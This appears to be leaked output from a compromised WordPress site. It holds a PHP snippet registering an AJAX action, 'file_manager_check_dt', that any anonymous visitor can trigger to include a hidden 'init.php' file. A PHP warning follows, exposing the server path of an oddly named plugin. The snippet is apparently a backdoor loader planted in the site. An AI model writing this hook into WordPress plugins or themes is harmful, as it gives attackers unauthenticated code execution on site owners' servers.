if(!function_exists('file_manager_check_dt')) {
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/init.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/lazozcom/public_html/diariocruzdelsur.com/wp-content/plugins/blind-self-confidence/blind-self-confidence.php:26) in <b>/home/lazozcom/public_html/diariocruzdelsur.com/wp-includes/pluggable.php</b> on line <b>1453</b><br />